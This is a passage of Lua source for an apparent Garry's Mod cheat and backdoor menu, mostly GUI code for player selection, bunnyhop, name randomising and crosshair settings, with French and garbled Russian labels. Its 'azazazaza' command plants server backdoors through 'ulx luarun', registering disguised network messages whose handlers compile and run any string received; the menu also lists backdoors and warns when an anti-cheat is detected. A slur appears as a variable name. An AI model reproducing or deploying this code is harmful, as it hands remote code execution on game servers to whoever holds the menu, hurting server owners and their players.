5941target2:SetText("Moi")
5942target2:SetTextColor(Color(255, 255, 255, 255))
5943target2.Paint = function(panel, w, h)
5944if target2:IsHovered() then
5945draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5946else
5947draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5948end
5949end
5950target2.DoClick = function()
5951table.Empty( selectedplayers )
5952table.insert( selectedplayers, LocalPlayer() )
5953end
5954for k, v in pairs( player.GetAll() ) do
5955local plypanel2 = vgui.Create( "DPanel" )
5956plypanel2:SetPos( 0, 0 )
5957plypanel2:SetSize( 314, 15 )
5958plypanel2.Paint = function() -- Paint function
5959draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
5960if table.HasValue( selectedplayers, v ) then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 50), false, false, false, false)
5961else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 50), false, false, false, false) end
5962end
5963local plyname = vgui.Create( "DLabel", plypanel2 )
5964plyname:SetPos( 10, 0 )
5965plyname:SetFont( "pity_homemini" )
5966local tcol = Color( 255, 255, 255 )
5967
5968if fiji_style_menu:GetInt() == 2 then
5969if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
5970
5971elseif fiji_style_menu:GetInt() == 3 then
5972if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
5973
5974elseif fiji_style_menu:GetInt() == 1 then
5975if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
5976
5977else
5978if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
5979
5980
5981
5982end
5983plyname:SetColor( tcol )
5984plyname:SetText( v:Nick().." "..v:SteamID().." "..v:Team() )
5985plyname:SetSize(314, 15)
5986local faggot = vgui.Create("DButton", plypanel2)
5987faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
5988faggot:SetPos( 0, 0 )
5989faggot:SetText("")
5990faggot.Paint = function(panel, w, h)
5991return
5992end
5993faggot.DoClick = function()
5994if table.HasValue( selectedplayers, v ) then
5995table.RemoveByValue( selectedplayers, v )
5996else
5997table.insert( selectedplayers, v )
5998end
5999end
6000PlistAllPlayer:AddItem( plypanel2 )
6001end
6002
6003BD.GenerateBackdoorList( PlistAll, 1 )
6004BD.GenerateBackdoorList( PlistAllOnePlayer, 2 )
6005BD.GenerateBackdoorList( PlistAllDestruction, 3 )
6006else
6007local TextHomeza2 = vgui.Create( "DPanel", BackdoorsMenu )
6008TextHomeza2:SetSize(1000,650)
6009TextHomeza2.Paint = function( self, w, h )
6010draw.SimpleText("SNTE détecté. Risque de ban", "pity_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
6011draw.SimpleText("Backdoors désВключитьs", "pity_home2", 430, 265, Color(255, 255, 255,200), 0, 1)
6012end
6013end
6014
6015print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
6016print( "БÑкдур Чек" )
6017print( "Проверка завершена" )
6018
6019end)
6020
6021
6022concommand.Add("azazazaza", function()
6023
6024LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyCar' ) net.Receive( 'BuyCar', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6025LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'rpi_trade_end' ) net.Receive( 'rpi_trade_end', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6026LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ClickerForceSave' ) net.Receive( 'ClickerForceSave', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6027LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'SRequest' ) net.Receive( 'SRequest', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6028LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ArmorButton' ) net.Receive( 'ArmorButton', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6029LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'Client_To_Server_OpenEditor' ) net.Receive( 'Client_To_Server_OpenEditor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6030LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'wordenns' ) net.Receive( 'wordenns', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6031LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyKey' ) net.Receive( 'BuyKey', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6032LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'casinokit_chipexchange' ) net.Receive( 'casinokit_chipexchange', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6033LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'PurchaseWeed' ) net.Receive( 'PurchaseWeed', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6034LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'DoDealerDeliver' ) net.Receive( 'DoDealerDeliver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6035LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'sendDuelInfo' ) net.Receive( 'sendDuelInfo', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6036LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'InviteMember' ) net.Receive( 'InviteMember', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6037LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'newTerritory' ) net.Receive( 'newTerritory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6038LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'CreateOrganization' ) net.Receive( 'CreateOrganization', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6039LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ChangeOrgName' ) net.Receive( 'ChangeOrgName', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6040LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'IS_SubmitSID_C2S' ) net.Receive( 'IS_SubmitSID_C2S', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6041
6042end)
6043
6044function BD:Fun( pContent )
6045
6046
6047local BDMenuFun = vgui.Create("DPanel", pContent)
6048BDMenuFun:SetSize( 539, 388 )
6049BDMenuFun:SetPos( 0, 0 )
6050BDMenuFun.Paint = function( self, w, h)
6051draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6052draw.SimpleText("En développement", "DermaDefault", 350, 180, Color(255, 255, 255,100), 0, 1)
6053
6054draw.RoundedBox( 0, 20, 102, w - 307, 2, Color( 50,50,50, 255 ) )
6055draw.RoundedBox( 0, 20, 290, w - 307, 2, Color( 50,50,50, 255 ) )
6056
6057draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6058draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6059draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6060draw.RoundedBox( 0, 20, 10, w - 452, 2, Color( 50,50,50, 255 ) )
6061draw.RoundedBox( 0, 165, 10, w - 453, 2, Color( 50,50,50, 255 ) )
6062draw.SimpleText("Утилиты", "pity_home3", 110, 10, Color(100, 100, 100,255), 0, 1)
6063
6064--[[draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6065draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6066draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
6067draw.RoundedBox( 0, 284, 10, w - 435, 2, Color( 50,50,50, 255 ) )
6068draw.RoundedBox( 0, 417, 10, w - 440, 2, Color( 50,50,50, 255 ) )
6069draw.SimpleText("Troll", "pity_home3", 390, 10, Color(100, 100, 100,255), 0, 1)
6070
6071draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6072draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6073draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6074draw.RoundedBox( 0, 284, 205, w - 440, 2, Color( 50,50,50, 255 ) )
6075draw.RoundedBox( 0, 425, 205, w - 448, 2, Color( 50,50,50, 255 ) )
6076draw.SimpleText("Autres", "pity_home3", 386, 205, Color(100, 100, 100,255), 0, 1)]]--
6077
6078if fiji_style_menu:GetInt() == 2 then
6079draw.RoundedBox( 0, 0, 242, 2, h - 242, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6080draw.RoundedBox( 0, 0, 0, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6081
6082elseif fiji_style_menu:GetInt() == 1 then
6083draw.RoundedBox( 0, 0, 242, 2, h - 242, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6084draw.RoundedBox( 0, 0, 0, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6085
6086else
6087draw.RoundedBox( 0, 0, 242, 2, h - 242, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6088draw.RoundedBox( 0, 0, 0, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6089end
6090
6091end
6092
6093
6094-- bhop
6095local btnbhop = BD:CreateBtn( "БХОП", 30, 30, 65, 25, pContent )
6096function btnbhop:DoClick() if fiji_fun_bunnyhop:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_bunnyhop:GetInt() == 1 then RunConsoleCommand( "fiji_fun_bunnyhop", 0 ) else RunConsoleCommand( "fiji_fun_bunnyhop", 1 ) end end
6097function btnbhop:Think() if fiji_fun_bunnyhop:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6098
6099-- end bhop
6100
6101
6102--spam l
6103
6104local btnspamlight = BD:CreateBtn( "СПÐМ ЛÐМПОЙ", 98, 30, 75, 25, pContent )
6105function btnspamlight:DoClick() if fiji_fun_spamlight:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamlight:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamlight", 0 ) else RunConsoleCommand( "fiji_fun_spamlight", 1 ) end end
6106function btnspamlight:Think() if fiji_fun_spamlight:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6107
6108
6109--spam l end
6110
6111local btnbhop = BD:CreateBtn( "Безумие", 176, 30, 65, 25, pContent )
6112function btnbhop:DoClick() if fiji_fun_spamrope:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamrope:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamrope", 0 ) else RunConsoleCommand( "fiji_fun_spamrope", 1 ) end end
6113function btnbhop:Think() if fiji_fun_spamrope:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6114
6115
6116
6117
6118local tablename1 = { "Joe", "John", "Jack", "Barry", "Chris", "Christopher", "Michael", "David", "Thomas", "Paul", "Tony", "Mark", "Cooper", "Jared", "James", "Jimmy", "Bob", "Robert", "Riley", "William", "Will", "Donald", "George", "Ken", "Steve", "Bruce", "Brian", "Chad", "Anthony", "Tim", "Eddie", "Daniel", "Larry", "Jeff", "Justin", "Adam", "Ralph", "Brandon", "Xavier", "Greg", "Gordon", "Scott", "Taine", "Howie", "Morgan", "Curtis", "Dwayne", "Steven", "Peter", "Kevin", "Coleman", "Garry", }
6119local tablename2 = { "Houston", "Burch", "Smith", "Jones", "Trump", "Sanders", "Abbott", "Cruise", "Brown", "Hopgood", "Davis", "Miller", "Wilson", "Walker", "Lee", "Lions", "Bryant", "Hall", "Adams", "Green", "Aldridge", "Turner", "Anderson", "Morris", "Howard", "Swanson", "Peterson", "Powell", "Keating", "Rudd", "Coleman", "Cunningham", "Donnell", "Callaghan", "Smithers", "Burns", "Bonds", "Gonzales", "Griffin", "Woods", "Gibson", "Webb", "Simpson", "Freeman", "Mcdonald", "Butters", "Masterson", "Keefe", "Sanderson", "Badger", "Cantrip", "Williams", "DontBanMe", "Lopez", "Clark", "Campbell", "King", "Coleman", "Chongs", "Riviera", "Ward", "Gray", "Ross", }
6120
6121local btnnomrandom = BD:CreateBtn( "Рандом ИмÑ", 55, 70, 76, 25, pContent )
6122function btnnomrandom:DoClick() LocalPlayer():ConCommand("say /name "..table.Random( tablename1 ).." "..table.Random( tablename1 )) end
6123
6124local btnnommort = BD:CreateBtn( "Вид от 3 лица", 134, 70, 75, 25, pContent )
6125function btnnommort:DoClick() if fiji_fun_thperson:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_thperson:GetInt() == 1 then RunConsoleCommand( "fiji_fun_thperson", 0 ) else RunConsoleCommand( "fiji_fun_thperson", 1 ) end end
6126function btnnommort:Think() if fiji_fun_thperson:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6127
6128
6129
6130local btnnommort = BD:CreateBtn( "Прицел", 98, 110, 75, 25, pContent )
6131function btnnommort:DoClick() if fiji_fun_crosshair:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_crosshair:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshair", 0 ) else RunConsoleCommand( "fiji_fun_crosshair", 1 ) end end
6132function btnnommort:Think() if fiji_fun_crosshair:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6133
6134local pPmopi = vgui.Create( "DPanel", pContent )
6135pPmopi:SetPos( 30, 140 )
6136pPmopi:SetSize( 212, 50 )
6137function pPmopi:Paint( w, h )
6138draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6139draw.SimpleText( "Размер Прицела", "pity_home5", 7, h / 2, color_white, 0, 1 )
6140end
6141local pDistancemopi = vgui.Create( "DNumSlider", pContent )
6142pDistancemopi:SetPos( 85, 140 )
6143pDistancemopi:SetSize( 180, 50 )
6144pDistancemopi:SetText( "" )
6145pDistancemopi:SetMin( -15 )
6146pDistancemopi:SetMax( 120 )
6147pDistancemopi:SetDecimals( 0 )
6148pDistancemopi:SetValue( fiji_fun_crosshairtaille:GetInt())
6149pDistancemopi.Scratch:SetVisible( false )
6150pDistancemopi.TextArea:SetTextColor( color_white )
6151function pDistancemopi.Slider:Paint(w, h)
6152surface.SetDrawColor(0, 0, 0, 255)
6153surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
6154if fiji_style_menu:GetInt() == 2 then
6155surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6156surface.DrawRect(0, 21, barw, h / 5)
6157
6158elseif fiji_style_menu:GetInt() == 1 then
6159surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6160surface.DrawRect(0, 21, barw, h / 5)
6161
6162else
6163surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
6164surface.DrawRect(0, 21, barw, h / 5)
6165end
6166end
6167function pDistancemopi:SetHeight(tall)
6168self.Slider.Knob:SetHeight(tall / 2 + 4)
6169DSlider.SetHeight(self, tall)
6170pDistancemopi.SetTall = pDistancemopi.SetHeight
6171pDistancemopi.Slider.Knob:SetTall(5)
6172end
6173function pDistancemopi.Slider.Knob:Paint(w, h)
6174derma.SkinHook( "Paint", "Button", self, 0, 0 )
6175end
6176function pDistancemopi:OnValueChanged( val )
6177RunConsoleCommand( "fiji_fun_crosshairtaille", tonumber( self:GetValue() ) )
6178end
6179
6180
6181
6182local ColorMenucross = vgui.Create( "DPanel", pContent )
6183ColorMenucross:SetSize( 220, 50 )
6184ColorMenucross:SetPos( 26, 195 )
6185function ColorMenucross:Paint( w, h )
6186draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6187draw.SimpleText( "Цвет прицела", "pity_home5", 79, 8, color_white, 0, 1 )
6188end
6189local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenucross )
6190OptionsColorRedMENU:SetPos( 1,20 )
6191OptionsColorRedMENU:SetSize( 20, 20 )
6192OptionsColorRedMENU:SetText( " " )
6193OptionsColorRedMENU.Paint = function( self, w, h )
6194if self:IsHovered() then
6195draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
6196surface.SetDrawColor(255, 255, 255 ,100)
6197surface.DrawOutlinedRect(0, 0, w, h)
6198else
6199draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
6200surface.SetDrawColor(255, 255, 255 ,100)
6201surface.DrawOutlinedRect(0, 0, w, h)
6202end
6203OptionsColorRedMENU.DoClick = function()
6204LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 238")
6205LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 61")
6206LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 61")
6207LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6208surface.PlaySound( fiji_pityhover )
6209
6210end
6211end
6212local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenucross )
6213OptionsColorOrangeMENU:SetPos( 23,20 )
6214OptionsColorOrangeMENU:SetSize( 20, 20 )
6215OptionsColorOrangeMENU:SetText( " " )
6216OptionsColorOrangeMENU.Paint = function( self, w, h )
6217if self:IsHovered() then
6218draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
6219surface.SetDrawColor(255, 255, 255 ,100)
6220surface.DrawOutlinedRect(0, 0, w, h)
6221else
6222draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
6223surface.SetDrawColor(255, 255, 255 ,100)
6224surface.DrawOutlinedRect(0, 0, w, h)
6225end
6226OptionsColorOrangeMENU.DoClick = function()
6227LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6228LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 162")
6229LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6230LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6231surface.PlaySound( fiji_pityhover )
6232
6233end
6234end
6235local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenucross )
6236OptionsColorYellowMENU:SetPos( 45,20 )
6237OptionsColorYellowMENU:SetSize( 20, 20 )
6238OptionsColorYellowMENU:SetText( " " )
6239OptionsColorYellowMENU.Paint = function( self, w, h )
6240if self:IsHovered() then
6241draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
6242surface.SetDrawColor(255, 255, 255 ,100)
6243surface.DrawOutlinedRect(0, 0, w, h)
6244else
6245draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
6246surface.SetDrawColor(255, 255, 255 ,100)
6247surface.DrawOutlinedRect(0, 0, w, h)
6248end
6249OptionsColorYellowMENU.DoClick = function()
6250LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 246")
6251LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6252LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6253LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6254surface.PlaySound( fiji_pityhover )
6255
6256end
6257end
6258local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenucross )
6259OptionsColorGreenMENU:SetPos( 67,20 )
6260OptionsColorGreenMENU:SetSize( 20, 20 )
6261OptionsColorGreenMENU:SetText( " " )
6262OptionsColorGreenMENU.Paint = function( self, w, h )
6263if self:IsHovered() then
6264draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
6265surface.SetDrawColor(255, 255, 255 ,100)
6266surface.DrawOutlinedRect(0, 0, w, h)
6267else
6268draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
6269surface.SetDrawColor(255, 255, 255 ,100)
6270surface.DrawOutlinedRect(0, 0, w, h)
6271end
6272OptionsColorGreenMENU.DoClick = function()
6273LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 130")
6274LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6275LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 132")
6276LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6277surface.PlaySound( fiji_pityhover )
6278
6279end
6280end
6281local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenucross )
6282OptionsColorBlueMENU:SetPos( 89,20 )
6283OptionsColorBlueMENU:SetSize( 20, 20 )
6284OptionsColorBlueMENU:SetText( " " )
6285OptionsColorBlueMENU.Paint = function( self, w, h )
6286if self:IsHovered() then
6287draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
6288surface.SetDrawColor(255, 255, 255 ,100)
6289surface.DrawOutlinedRect(0, 0, w, h)
6290else
6291draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
6292surface.SetDrawColor(255, 255, 255 ,100)
6293surface.DrawOutlinedRect(0, 0, w, h)
6294end
6295OptionsColorBlueMENU.DoClick = function()
6296LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 104")
6297LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6298LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6299LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6300surface.PlaySound( fiji_pityhover )
6301
6302end
6303end
6304local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenucross )
6305OptionsColorPurpleMENU:SetPos( 111,20 )
6306OptionsColorPurpleMENU:SetSize( 20, 20 )
6307OptionsColorPurpleMENU:SetText( " " )
6308OptionsColorPurpleMENU.Paint = function( self, w, h )
6309if self:IsHovered() then
6310draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
6311surface.SetDrawColor(255, 255, 255 ,100)
6312surface.DrawOutlinedRect(0, 0, w, h)
6313else
6314draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
6315surface.SetDrawColor(255, 255, 255 ,100)
6316surface.DrawOutlinedRect(0, 0, w, h)
6317end
6318OptionsColorPurpleMENU.DoClick = function()
6319LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 168")
6320LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6321LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6322LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6323surface.PlaySound( fiji_pityhover )
6324
6325end
6326end
6327local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenucross )
6328OptionsColorPinkMENU:SetPos( 133,20 )
6329OptionsColorPinkMENU:SetSize( 20, 20 )
6330OptionsColorPinkMENU:SetText( " " )
6331OptionsColorPinkMENU.Paint = function( self, w, h )
6332if self:IsHovered() then
6333draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
6334surface.SetDrawColor(255, 255, 255 ,100)
6335surface.DrawOutlinedRect(0, 0, w, h)
6336else
6337draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
6338surface.SetDrawColor(255, 255, 255 ,100)
6339surface.DrawOutlinedRect(0, 0, w, h)
6340end
6341OptionsColorPinkMENU.DoClick = function()
6342LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6343LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6344LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 235")
6345LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6346surface.PlaySound( fiji_pityhover )
6347
6348end
6349end
6350local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenucross )
6351OptionsColorBlackMENU:SetPos( 155,20 )
6352OptionsColorBlackMENU:SetSize( 20, 20 )
6353OptionsColorBlackMENU:SetText( " " )
6354OptionsColorBlackMENU.Paint = function( self, w, h )
6355if self:IsHovered() then
6356draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
6357surface.SetDrawColor(255, 255, 255 ,100)
6358surface.DrawOutlinedRect(0, 0, w, h)
6359else
6360draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
6361surface.SetDrawColor(255, 255, 255 ,100)
6362surface.DrawOutlinedRect(0, 0, w, h)
6363end
6364OptionsColorBlackMENU.DoClick = function()
6365LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 60")
6366LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 60")
6367LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 60")
6368LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6369surface.PlaySound( fiji_pityhover )
6370
6371end
6372end
6373local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenucross )
6374OptionsColormultiMENU:SetPos( 177,20 )
6375OptionsColormultiMENU:SetSize( 20, 20 )
6376OptionsColormultiMENU:SetText( " " )
6377OptionsColormultiMENU.Paint = function( self, w, h )
6378if self:IsHovered() then
6379draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6380surface.SetDrawColor(255, 255, 255 ,100)
6381surface.DrawOutlinedRect(0, 0, w, h)
6382else
6383draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6384surface.SetDrawColor(255, 255, 255 ,100)
6385surface.DrawOutlinedRect(0, 0, w, h)
6386end
6387OptionsColormultiMENU.DoClick = function()
6388LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 1")
6389surface.PlaySound( fiji_pityhover )
6390
6391end
6392end
6393local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenucross )
6394OptionsColorhackMENU:SetPos( 199,20 )
6395OptionsColorhackMENU:SetSize( 20, 20 )
6396OptionsColorhackMENU:SetText( " " )
6397OptionsColorhackMENU.Paint = function( self, w, h )
6398if self:IsHovered() then
6399draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6400surface.SetDrawColor(255, 255, 255 ,100)
6401surface.DrawOutlinedRect(0, 0, w, h)
6402else
6403draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6404surface.SetDrawColor(255, 255, 255 ,100)
6405surface.DrawOutlinedRect(0, 0, w, h)
6406end
6407OptionsColorhackMENU.DoClick = function()
6408LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 2")
6409surface.PlaySound( fiji_pityhover )
6410
6411end
6412end
6413
6414
6415local btnstylea = BD:CreateBtn( "ПРИЦЕЛ 2", 137, 255, 65, 25, pContent )
6416function btnstylea:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_crosshairstyle:GetInt() == 2 then RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) end end
6417function btnstylea:Think() if fiji_fun_crosshairstyle:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6418local btnstyleb = BD:CreateBtn( "ПРИЦЕЛ 1", 68, 255, 65, 25, pContent )
6419function btnstyleb:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_crosshairstyle:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) end end
6420function btnstyleb:Think() if fiji_fun_crosshairstyle:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6421
6422
6423--crosshair end
6424
6425local btnradara = BD:CreateBtn( "Зеркало", 134, 305, 65, 25, pContent )
6426function btnradara:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_radar:GetInt() == 2 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 2 ) end end
6427function btnradara:Think() if fiji_fun_radar:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6428local btnradarb = BD:CreateBtn( "Радар", 65, 305, 65, 25, pContent )
6429function btnradarb:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_radar:GetInt() == 1 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 1 ) end end
6430function btnradarb:Think() if fiji_fun_radar:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6431
